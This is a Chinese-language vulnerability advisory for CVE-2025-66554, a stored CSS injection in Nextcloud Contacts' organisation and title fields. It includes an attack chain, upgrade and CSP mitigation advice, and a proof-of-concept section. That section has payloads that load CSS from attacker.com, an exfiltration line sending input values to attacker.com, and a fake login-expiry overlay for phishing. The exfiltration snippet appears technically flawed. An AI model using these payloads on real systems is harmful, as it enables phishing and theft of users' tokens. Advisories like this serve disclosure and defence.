IPBUF安全漏洞报告
English
CVE-2025-66554 CVSS 3.5 低危

CVE-2025-66554 Nextcloud Contacts存储型CSS注入漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-66554
漏洞类型
存储型XSS(CSS注入)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nextcloud Contacts

相关标签

CSS注入存储型XSSNextcloudContacts应用内容安全策略绕过UI欺骗信息泄露

漏洞概述

Nextcloud Contacts是Nextcloud云存储平台的一款联系人管理应用,允许用户同步和编辑来自不同设备的联系人信息。该应用在5.5.4、6.0.6、7.2.5之前的版本中存在一处存储型CSS注入漏洞。攻击者通过在个人资料的组织(organisation)和职位(title)字段中注入恶意CSS加载代码,当其他用户查看攻击者的联系人详情时,浏览器会加载攻击者指定的外部CSS文件。虽然Nextcloud Server的内容安全策略(CSP)正确阻止了JavaScript等高危内容的执行,但CSS文件的加载未被完全限制,攻击者可利用CSS注入进行UI欺骗、界面伪装或窃取用户敏感信息。此漏洞需要低权限认证用户参与,且需要目标用户查看攻击者的联系人资料才能触发,攻击复杂度较高但仍存在实际利用风险。

技术细节

漏洞根源在于Nextcloud Contacts应用对用户输入的组织(organisation)和职位(title)字段缺乏充分的输入验证和输出编码。当用户修改这些字段时,应用允许包含CSS链接引用(如<link>标签或CSS @import语句)的内容被存储到数据库中。由于Nextcloud的CSP策略主要针对JavaScript等脚本执行进行了限制,而CSS外部文件加载在某些场景下仍可被浏览器解析执行,攻击者可以通过构造特定的CSS payload来实现以下攻击效果:1)使用@import加载外部CSS控制页面样式;2)通过::before/::after伪元素配合content属性注入恶意内容;3)利用CSS选择器结合background属性进行数据窃取(如窃取CSRF Token)。攻击者将恶意payload写入个人资料后,任何查看其联系人信息的用户都会触发CSS加载。Nextcloud Server的CSP配置虽然阻止了内联脚本执行,但CSS注入的利用面(如UI欺骗、信息泄露)仍不容忽视。

攻击链分析

STEP 1
信息收集
攻击者注册Nextcloud账号并获取低权限访问权限
STEP 2
漏洞探测
攻击者访问Contacts应用,识别可编辑的组织(organisation)和职位(title)字段
STEP 3
恶意载荷构造
攻击者构造包含CSS注入代码的payload,如<link>标签或<style>标签,其中引用外部恶意CSS文件
STEP 4
载荷植入
攻击者将恶意payload写入个人资料的organisation或title字段并保存,数据被存储到数据库
STEP 5
触发条件
当其他用户(如管理员或同事)查看攻击者的联系人详情页面时,浏览器解析页面并加载攻击者指定的外部CSS
STEP 6
恶意效果执行
恶意CSS被执行,可能导致UI欺骗(伪造登录框)、信息窃取(提取CSRF Token等敏感数据)或钓鱼攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-66554 - Nextcloud Contacts CSS Injection // Attack vector: Modify organisation or title field to inject CSS // Step 1: Attacker modifies their contact profile const maliciousPayload = ` <style> @import url('https://attacker.com/malicious.css'); </style> `; // Alternative payload using link tag const altPayload = ` <link rel="stylesheet" href="https://attacker.com/malicious.css"> `; // CSS exfiltration example const cssExfilPayload = ` <style> input[value] { background-image: url('https://attacker.com/log?c=' + encodeURIComponent(value)); } </style> `; // Example malicious.css content: /* body::after { content: "Your session has expired. Please login again at https://fake-nextcloud.com"; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.8); color: white; font-size: 24px; display: flex; justify-content: center; align-items: center; z-index: 999999; } */ console.log('CSS Injection PoC for Nextcloud Contacts'); console.log('Payload should be placed in organisation or title field');

影响范围

Nextcloud Contacts < 5.5.4
Nextcloud Contacts < 6.0.6
Nextcloud Contacts < 7.2.5

防御指南

临时缓解措施
如果无法立即升级,可通过配置Nextcloud的Content-Security-Policy来限制外部CSS加载:在config/config.php中添加'CSP Header'配置,设置style-src为'self'以禁止加载外部CSS文件。同时,管理员应限制非信任用户创建或修改联系人资料的权限,并监控异常的联系人字段修改行为。建议尽快升级到官方发布的修复版本(5.5.4、6.0.6或7.2.5)以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表